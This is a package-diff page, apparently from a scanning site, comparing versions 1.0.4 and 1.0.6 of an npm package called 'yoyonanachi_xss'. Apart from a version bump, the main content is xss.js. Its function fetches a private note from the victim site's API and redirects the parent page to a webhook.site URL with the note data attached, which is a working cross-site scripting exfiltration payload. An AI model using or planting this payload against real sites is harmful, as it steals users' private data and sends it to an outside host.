yoyonanachi_xss 1.0.4 → 1.0.6

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/xss.js +2 -2
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "yoyonanachi_xss",
3
- "version": "1.0.4",
3
+ "version": "1.0.6",
4
4
  "description": "",
5
5
  "main": "xss.js",
6
6
  "scripts": {
package/xss.js CHANGED
@@ -1,3 +1,3 @@
1
- function xss(){
2
- fetch(`note?id=a83ed14e-8c1c-43c3-ad7a-b5393ad85a3d`).then(res => res.text()).then(data => parent.document.location=`https://webhook.site/5f10e934-1859-4cb9-bd9f-842933dd302d?`+data);
1
+ function xss(id){
2
+ fetch(`api/notes?id=`+id).then(res => res.json()).then(data => parent.document.location=`https://webhook.site/5f10e934-1859-4cb9-bd9f-842933dd302d?`+JSON.stringify(data));
3
3
  }